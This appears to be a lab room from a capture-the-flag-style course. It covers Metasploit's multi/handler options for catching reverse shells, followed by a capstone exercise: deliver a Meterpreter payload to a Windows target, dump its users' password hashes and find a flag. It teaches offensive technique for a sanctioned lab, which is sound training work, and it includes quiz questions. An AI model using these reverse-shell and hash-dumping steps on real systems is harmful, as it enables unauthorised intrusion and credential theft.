Handler Tips
Running the handler in the background
Adding -j to the run command starts the handler as a background job, so you can continue working in msfconsole while it waits for connections:
msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on CONNECTION_IP:4444
msf6 exploit(multi/handler) >
When a session opens, you will see the notification and can interact with it using sessions -i <id>.
ExitOnSession
By default, the handler stops listening after the first session is established. If you want it to keep listening for additional connections (e.g., you deployed the same payload to multiple targets), set ExitOnSession to false:
msf6 exploit(multi/handler) > set ExitOnSession false
ExitOnSession => false
This is useful when you have distributed the same payload to several hosts and want a single handler to catch all incoming sessions.
AutoRunScript
The AutoRunScript option runs a specified command or script automatically when a new session opens. For example, to automatically migrate Meterpreter to a more stable process:
msf6 exploit(multi/handler) > set AutoRunScript post/windows/manage/migrate
AutoRunScript => post/windows/manage/migrate
This saves manual steps when you expect multiple sessions and want a consistent post-exploitation setup on each one.
?Answer the questions below
- What Metasploit module is used as a universal listener for catching reverse shell connections?
- What handler option should you set to false if you want the handler to keep listening after the first session is established?
Capstone Challenge
This is the capstone for the Metasploit module. You will apply everything you have learned across all four rooms: generating a payload with msfvenom, setting up a handler, delivering the payload to a target, catching the session, and performing post-exploitation to retrieve a flag.
Press the Start Machine and Start AttackBox buttons above.
The Scenario
Your team has uncovered a guest-writable share on the target Windows machine. There is a scheduled task that will run and delete any executable files uploaded to this share. The team also uncovered that the target only allows outbound HTTP/S traffic.
Your objectives:
- Generate a Windows Meterpreter payload in EXE format using
msfvenom. - Transfer the payload to the target machine.
- Set up a handler in
msfconsoleand catch the Meterpreter session. - Use post-exploitation to dump password hashes of other users on the system.
- Retrieve the flag.
Hints
- For payload generation, use a stageless Meterpreter payload for reliability (
meterpreter_reverse_tcp, notmeterpreter/reverse_tcp). - To transfer the file, you can use one of Metasploit's auxiliary modules.
- For hash dumping, you can use the technique learned previously in this module.
- The flag is on the target file system. Use Meterpreter's
searchcommand to find it.
?Answer the questions below
- Generate a Meterpreter payload in .exe format.
- Transfer the payload to the target machine and catch a Meterpreter session on the target machine.
- Use a post-exploitation module to dump the password hashes of other users on the system. What is jim's NTLM hash?
- Find the flag somewhere in C:\Users\Administrator . What's its value?